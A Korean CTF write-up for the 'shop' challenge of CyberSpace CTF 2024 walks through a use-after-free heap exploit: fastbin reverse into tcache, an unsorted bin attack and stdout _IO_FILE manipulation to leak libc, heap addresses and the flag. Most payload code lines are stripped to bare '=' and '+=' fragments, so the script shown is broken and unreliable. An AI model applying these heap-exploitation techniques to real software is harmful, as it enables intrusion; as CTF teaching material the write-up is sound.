CyberSpace CTF 2024 - shop
๋ชฉ์ฐจ
0x00. Introduction
Concept
>
buy_143A()๋ฅผ ์ด์ฉํด์ heap chunk๋ฅผ ํ ๋น๋ฐ๊ณ ํ ๋น๋ ์ฃผ์์ size๋ฅผ ์ ์ฅํ๋ค. ๊ฐ๊ฐ ์ ์ญ๋ณ์์ ์ ์ธ๋ void *ptr_4060[32], int size_4160[32]์ ์ ์ฅ๋ค๋ค.
ํํธ edit_1523()์์๋ index๋ฅผ ์
๋ ฅ๋ฐ์ ptr_4060[index]์ ์ ์ฅ๋ chunk์ ๋ด์ฉ์ ์์ ํ ์ ์๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก refund_15F6()์์๋ index๋ฅผ ์
๋ ฅ๋ฐ์ ptr_4060[index]์ ์ ์ฅ๋ chunk๋ฅผ ํด์ ํ ์ ์๋ค.
์ฐธ๊ณ ๋ก read_flag_12A9()์์ flag๋ฅผ ์ฝ์ด์ heap์ ์ ์ฅํ๋ฏ๋ก ์๊น์ง๋ ๋ฐ์ง ์์๋ ๋๋ค.
0x01. Vulnerability
int
refund_15F6()์์ ptr_4060[index]๊ฐ NULL์ด ์๋์ง๋ฅผ ๊ฒ์ฆํ๊ณ ptr์ ํด์ ํ๋ค.
์ดํ size_4160[index]๋ 0์ผ๋ก ์ด๊ธฐํํ์ง๋ง ptr_4060[index]๋ ์ด๊ธฐํํ์ง ์์ผ๋ฏ๋ก UAF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
0x02. Exploit
Fastbin Reverse Into Tcache
์์ ๋ฒ์ ์ glibc(<=2.26)์์๋ ๊ฐ๋ฅํ์ง๋ง, ํ์ฌ docker ํ๊ฒฝ์ ๋ฒ์ ์ธ 2.31์์๋ tcache์๋ double free๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํ mitigation์ด ์ ์ฉ๋์๋ค.
> 3
> 3
> 3
๋ฐ๋ผ์ ์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด fastbin reverse into tcache ๊ธฐ๋ฒ์ ์ฌ์ฉํ๋๋ฐ, ๋ค์ ์๋ฃ๋ค์ ์ฐธ๊ณ ํ๋ค.
์ ์๋ฃ๋ค์์๋ victim chunk๋ฅผ ํด์ ํ๊ณ ๊ฐ์ ์ธ ์ ์๋ ์ํฉ์ ๊ฐ์ ํ์ง๋ง ์ด ๋ฌธ์ ์์๋ size_4160[index]๊ฐ 0์ด๋ฉด edit์ด ๋ถ๊ฐ๋ฅํ๋ฏ๋ก fastbin dup ์ํฉ์ ์ถ๊ฐ๋ก ๋ง๋ค์ด์ค์ผ ํ๋ค.
๋ฐ๋ผ์ exploit ์๋๋ฆฌ์ค๋ ๋ค์๊ณผ ๊ฐ๋ค.
- Fastbin ๋ฒ์์ chunk๋ฅผ
7๊ฐ ํด์ ํ์ฌ tcache๋ฅผ ๊ฝ ์ฑ์ - UAF๋ฅผ ์ด์ฉํ์ฌ fastbin dup ์์ฑ
- Chunk
7๊ฐ๋ฅผ ํ ๋นํ์ฌ tcache๋ฅผ ๋น์ 8๋ฒ์งธ chunk๋ฅผ ํ ๋น๋ฐ์next_chunk์กฐ์- ์กฐ์ํ
next_chunk์ฃผ์๊ฐ ํ ๋น๋ ๋๊น์ง chunk ํ ๋น ์์ฒญ - ํ ๋น๋ฐ์ ์ฃผ์๋ฅผ ์ด์ฉํด AAW
ํ ๋จ๊ณ์ฉ payload๋ฅผ ์์ฑํด๋ณด๋ฉด,
# fill tcache 0x20
# fastbin dup 8 -> 9 -> 8
์ด๋ ๊ฒ refund๋ฅผ 7๋ฒ ์คํํด์ tcache๋ฅผ ๊ฝ ์ฑ์ฐ๋ฉด ์ดํ chunk๋ค์ fastbin์ผ๋ก ๋ณด๋ด์ง๋ค. ์ด๋ฅผ ์ด์ฉํด์ fastbin์ 8 -> 9 -> 8 loop๋ฅผ ๋ง๋ ๋ค.
# clean tacahe 0x20
# partially overwrite next_chunk
์ดํ tcache๋ฅผ ๋น์ฐ๊ธฐ ์ํด buy๋ฅผ 7๋ฒ ์คํํ๊ณ ํ๋ฒ ๋ buy๋ฅผ ์คํํ๋ฉด 8๋ฒ์งธ chunk๊ฐ ๋ฐํ๋๋ค. ์ด 8๋ฒ์งธ chunk๋ buy๋ฅผ ํ๋ฉด์ size_4160[8]์ size๊ฐ ์ ์ฅ๋์ ๊ฒ์ด๋ฏ๋ก edit์ด ๊ฐ๋ฅํ๋ค.
์์ง heap leak์ ํ์ง ๋ชปํ์ผ๋ฏ๋ก ํ์ ๋ฐ์ดํธ๋ง partial overwrite๋ฅผ ํด์ ํ๋ฅ ์ ์ผ๋ก heap manipulation์ด ๊ฐ๋ฅํ๋ค.
Tcachebins[idx=0, size=0x20, count=3] | | )
| | )
| | )
์ด๋ ๊ฒ edit์์ ์
๋ ฅํ \x40\x96์ด chunk์ next_chunk๋ฅผ ๋ถ๋ถ์ ์ผ๋ก ๋ฎ์ด์ tcache list๋ฅผ ์กฐ์ํ ์ ์๋ค.
์ ๋ณด๋ฉด tacahe list์ ๋ง์ง๋ง์ 0x555555559640์ด ์ค๊ฒ ๋๋๋ฐ size๊ฐ 0์ด๋ค. ํ์ง๋ง tcache์์ ํ ๋น ์ size ๊ฒ์ฆ์ ํ์ง ์์์ ์กฐ์๋ next_chunk์ ํ ๋น์ด ์ด๋ฃจ์ด์ง๋ค.
์๊ฐํด๋ณด๋ heap chunk๋ฅผ ํ ๋นํ ๋ ์ฌ์ด์ฆ์ ์์น๋ฅผ ์ ์กฐ์ ํด์ ์ฃผ์๋ฅผ ํ ๋ฐ์ดํธ๋ง overwriteํด๋ ๋๊ฒ ๋ง๋ค๋ฉด ํ๋ฅ ์ด์ ์์ด exploit์ด ๊ฐ๋ฅํ ๊ฒ ๊ฐ๊ธด ํ๋ค.
# allocate overwritten heap address
# index 11 ; overwritten heap address
# overwrite chunk size
์ payload์ฒ๋ผ 3๋ฒ์งธ buy๋ฅผ ํ ๋ partial overwrite๋ฅผ ํ ์ฃผ์๊ฐ ๋ฐํ๋๋ฉฐ, ์ด๋ฅผ ์ด์ฉํด heap์ ์ ์ฅ๋ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์๋ค.
Unsorted Bin Attack
์ดํ ๋จ๊ณ๋ฅผ ์งํํ๊ธฐ์๋ ๋ฐ์ด๋๋ฆฌ์ ์ถ๋ ฅํ๋ ๋ถ๋ถ์ด ํ๋๋ ์์ด์ leak์ด ๋ถ๊ฐ๋ฅํ๋ค. ์ง๊ธ ๊ฐ์ง๊ณ ์๋ ๊ฒ์ ์๊ฐํด๋ณด๋ฉด ์ฃผ์๋ฅผ ๋ชฐ๋ผ์ ๊ทธ๋ ์ง next_chunk์ ์กฐ์ํด AAW๊ฐ ๊ฐ๋ฅํ ์ํฉ์ด๋ค.
๊ณ ๋ฏผ์ ํ๋ค๊ฐ ์์ next_chunk์ ์ ์ฅ๋ heap ์ฃผ์๋ฅผ partial overwriteํ ๊ฒ์ฒ๋ผ libc ์ฃผ์๊ฐ ์ ์ฅ๋์ด ์๋ค๋ฉด partial overwrite๋ฅผ ํด์ libc ์์ญ์ write๋ฅผ ํ ์ ์๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค.
next_chunk์ libc ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ํ๋ ๊ฒ์ unsorted bin attack์ผ๋ก ๊ฐ๋ฅํ๋ฐ, chunk๋ฅผ ์ ์ค์ฒฉ์์ผ์ผ ํ๋ค. ๊ทธ๋ฆผ์ผ๋ก ๋ํ๋ด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.

๋จผ์ ์ต์ข
์ ์ผ๋ก๋ fastbin์ ์๋ chunk๋ฅผ ์ด์ฉํด AAW๋ฅผ ์ํํ ๊ฒ์ด๋ฏ๋ก ์ถฉ๋ถํ ์ฌ์ด์ฆ(0x60)์ chunk๋ฅผ fastbin์ผ๋ก ๋ณด๋ธ๋ค. ์ด ๋ victim chunk๋ฅผ unsorted bin์ผ๋ก ๋ณด๋ด๊ธฐ ์ํด next_chunk์์ offset์ด size์ ์ผ์นํ๋๋ก ์ค๊ฐ์ chunk๋ฅผ ์ ๋ฐฐ์นํด์ผ ํ๋ค.
๋ํ next_chunk๊ฐ top chunk์ผ ๊ฒฝ์ฐ unsorted bin์ผ๋ก ๊ฐ์ง ์๊ณ top chunk์ ๋ณํฉ๋์ด๋ฒ๋ฆฌ๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๊ณ ๋ คํด์ผํ๋ค.
# fill tcache 0x70
# index 0 ; align next chunk
# 0x555555559650 chunk goes to fastbin
์ด๋ ๊ฒ index 7 chunk(0x555555559650)๊ฐ fastbin์ ๋ณด๋ด์ก์ผ๋ฉฐ ๋ค์ 0x3a0 chunk๋ฅผ ํ ๋น๋ฐ์ ์ฒซ ๋ฒ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ์ ํํ๊ฐ ๋์๋ค.
์ด์ chunk size๋ฅผ overwriteํ๊ธฐ ์ํด fastbin reverse into tcache ๊ธฐ๋ฒ์ ์ด์ฉํ๋ค.
# partially overwrite next_chunk
# allocate overwritten heap address
# index 11 ; overwritten heap address
# overwrite chunk size
์ payload๋ฅผ ์คํํ๋ฉด ๋ ๋ฒ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ์์ง๋ฉฐ 0x555555559650 chunk๋ฅผ ํด์ ์์ผ์ฃผ๋ฉด ๋๋๋ฐ 0x555555559650๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๊ฐ ํ๋๋ ์๋ค. ํด๋น ์ฃผ์๋ ์ด๋ฏธ ํด์ ๋ chunk์ ์ฃผ์์ด๊ธฐ ๋๋ฌธ์ ๋ค์ 0x60 ํฌ๊ธฐ์ chunk๋ฅผ ํ ๋น๋ฐ์ง ์๋ ํ ์ ๊ทผํ ์ ์๋ค.
๋ฐ๋ผ์ fastbin reverse into tcache ๊ธฐ๋ฒ์ ํ๋ฒ ๋ ์ฌ์ฉํด์ ํด๋น ์ฃผ์๋ฅผ ๋ฐํ๋ฐ๋๋ค.
# partially overwrite next_chunk
# allocate overwritten heap address
# index 15 ; overwritten heap address
# free(0x555555559650) ; move chunk to unsorted bin
์ด๋ฒ์๋ ๋ฐํ๋ฐ์ ์ฃผ์๋ฅผ editํ๋๊ฒ ์๋๋ผ refund๋ฅผ ํด์ ํด์ ์์ผ์ฃผ๋ฉด ์ธ ๋ฒ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ์์ง๋ค.
Fastbins[idx=5, size=0x70] | | )
| | )
| | )
Fastbins[idx=6, size=0x80]
| | )
0x555555559650 chunk๋ ์ฌ์ ํ fastbin์ ์์ผ๋ฏ๋ก next_chunk์ ๋ด๊ธฐ๊ฒ ๋ main_arena๊ฐ ๋ค์ chunk๋ก ํด์๋์ด libc ์์ญ์ ํ ๋น๋ฐ์ ์ ์๊ฒ ๋์๋ค. ๋ค๋ง fastbin์์๋ size์ ๋ํ ๊ฒ์ฆ์ ํ๋ฏ๋ก 0x421๋ก overwriteํ chunk size๋ฅผ ๋ค์ ์๋ณต์์ผ์ผ ํ๋ค.
# restore chunk size
Stdout Attack
Stdout์ flag๋ฅผ ๋ณ๊ฒฝํ ์ ์์ ๋ libc leak์ด ๊ฐ๋ฅํ ๊ธฐ๋ฒ์ด ์์ด ๋ค์ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ๋ค.
Unsorted bin attack์ ์ ์ํํ๋ฉด 0x555555559650 ์ฃผ์์ ๋ด๊ธด main_arena ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ๋ค.
ํํธ stdout์ libc ์์ญ์ ์ ์ฅ๋ _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํค๋๋ฐ, ๊ทธ ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ๋ค.
0x7ffff7fbfbe0์ 0x7ffff7fc06a0๋ ASLR์ด ์์ ๋๋ ์ฃผ์๊ฐ์ด 3๋ฐ์ดํธ ์ฐจ์ด๊ฐ ๋์ง๋ง ASLR์ด ์ผ์ ธ์์ ๋๋ ํ๋ฅ ์ ์ผ๋ก 2๋ฐ์ดํธ๋ง ์ฐจ์ด๊ฐ ๋๋ฏ๋ก partial overwrite๋ฅผ ํ์ ๋ 1/16 ํ๋ฅ ๋ก exploit์ด ๊ฐ๋ฅํ๋ค.
# partially overwrite main_arena -> stdout
# aslr off
# edit(s, 22, b"\xa0\x76") # aslr on
๋ฐ๋ผ์ 1/16 ํ๋ฅ ๋ก stdout์ _IO_FILE ๊ตฌ์กฐ์ฒด๊ฐ ์ ์ฅ๋ libc ์ฃผ์๋ฅผ ํ ๋น๋ฐ๊ฒ ๋๋ค๋ฉด flag๋ฅผ ๋ฐ๊ฟ libc ์ฃผ์๋ฅผ ์ถ๋ ฅํ ์ ์๋ค.
Exploit ํ
ํฌ๋์ ์์ฝํ์๋ฉด flag์ _IO_IS_APPENDING์ ์ถ๊ฐํ์ ๋ ๋ค์๊ณผ ๊ฐ์ด _IO_new_do_write๊ฐ ํธ์ถ๋๋ฏ๋ก _IO_write_base, _IO_write_ptr์ ์ ์กฐ์ํด์ฃผ๋ฉด ๋๋ค.
// _IO_do_write (FILE *fp, const char *data, size_t to_do)
๊ฐ์ ๋ณ๊ฒฝํ๊ธฐ ์ stdout์ _IO_FILE ๊ตฌ์กฐ์ฒด์ ์ํ๋ ๋ค์๊ณผ ๊ฐ๋ค.
์ฐธ๊ณ ํ ์๋ฃ์์๋ _IO_write_base์ ์ฒซ ๋ฐ์ดํธ๋ฅผ \x00์ผ๋ก overwriteํ๋๋ฐ, ๊ทธ๋ฌ๋ฉด ๋ค์๊ณผ ๊ฐ์ด _IO_do_write๊ฐ ํธ์ถ๋ ๊ฒ์ด๋ค.
// _IO_do_write (FILE *fp, const char *data, size_t to_do)
์ด ์ถ๋ ฅ์ ๊ฒฐ๊ณผ๋ฌผ๋ก _IO_FILE ๊ตฌ์กฐ์ฒด์ ๋ด๊ฒจ์๋ libc ์ฃผ์๊ฐ ์ถ๋ ฅ๋๋ค.
# leak libc
= 0x1000
=
+= b * 0x19
=
์ payload๋ฅผ ํตํด libc leak์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ _IO_read_XXX๊ฐ์ ์์ญ์ ์ถ๋ ฅ์ ํ ๋ ์ค์ํ์ง ์๋ ๋ฏํ๋ค.
์ด stdout ๊ตฌ์กฐ์ฒด๋ฅผ ์ด์ฉํด์ AAR์ด ๊ฐ๋ฅํ๊ณ ๋ฐ์ด๋๋ฆฌ์์ flag๋ฅผ ์ฝ์ ํ heap ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅํ๋ฏ๋ก ์ด์ heap ์ฃผ์๋ง ์์ผ๋ฉด flag๋ฅผ ํ๋ํ ์ ์๋ค. Unsorted bin attack์์ next_chunk์ main_arena ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ํ ๊ฒ๊ณผ ๋ฐ๋๋ก main_arena์๋ heap ์ฃผ์๊ฐ ๋ด๊ฒจ์๋ค. main_arena๋ libc์ ๊ณ ์ ๋ ์์ญ์ ์ ์ฅ๋ ๋ณ์์ด๋ฏ๋ก offset์ ๊ณ์ฐํด์ ๊ฐ์ ๋ฎ์ด์ฃผ๋ฉด ๋๋ค.
# leak heap - print main_arena
=
+= b * 0x18
+= # _IO_write_base
+= # _IO_write_ptr
+= # _IO_write_end
=
์ฃผ์ํด์ผ ํ ์ ์ _IO_write_end๊ฐ _IO_write_ptr๊ณผ ๊ฐ์์ผ ์ถ๋ ฅ์ด ๋๋ค๋ ์ ์ด๋ค. ์์๋๋ค๊ฐ ๋์ค์ stdout์ ์ด์ฉํด ๋ฉ๋ชจ๋ฆฌ leak์ ํด์ผํ ๋ ํ์ฉํด์ผ๊ฒ ๋ค.
# print flag
=
+= b * 0x18
+= # _IO_write_base
+= # _IO_write_ptr
+= # _IO_write_end
=
Heap ์ฃผ์๋ฅผ ํ๋ํ ๋ค ๊ฐ์ ๋ฐฉ์์ผ๋ก flag๋ฅผ ํ๋ํ ์ ์๋ค.
0x03. Payload
=
=
=
= 0x555555554000
=
= * 32
= 0
=
=
=
break
=
return
return
return
= f
=
=
=
=
=
=
=
# fill tcache 0x70
# index 0 ; align next chunk
# 0x555555559650 chunk goes to fastbin
# fill tcache 0x20
# fastbin dup 8 -> 9 -> 8
# clean tacahe 0x20
# partially overwrite next_chunk
# allocate overwritten heap address
# index 11 ; overwritten heap address
# overwrite chunk size
# fill tcache 0x20
# fastbin dup 12 -> 13 -> 12
# clean tcache 0x20
# partially overwrite next_chunk
# allocate overwritten heap address
# index 15 ; overwritten heap address
# free(0x555555559650) ; move chunk to unsorted bin
# clean tcache 0x70
# restore chunk size
# partially overwrite main_arena -> stdout
# aslr off
# edit(s, 22, b"\xa0\x76") # aslr on
# leak libc
= 0x1000
=
+= b * 0x19
=
= - 0x1ec980
= + 0x1ecbe0
# leak heap - print main_arena
=
+= b * 0x18
+= # _IO_write_base
+= # _IO_write_ptr
+= # _IO_write_end
=
= - 0xbc0
= + 0x308
# print flag
=
+= b * 0x18
+= # _IO_write_base
+= # _IO_write_ptr
+= # _IO_write_end
=
=
=
=
=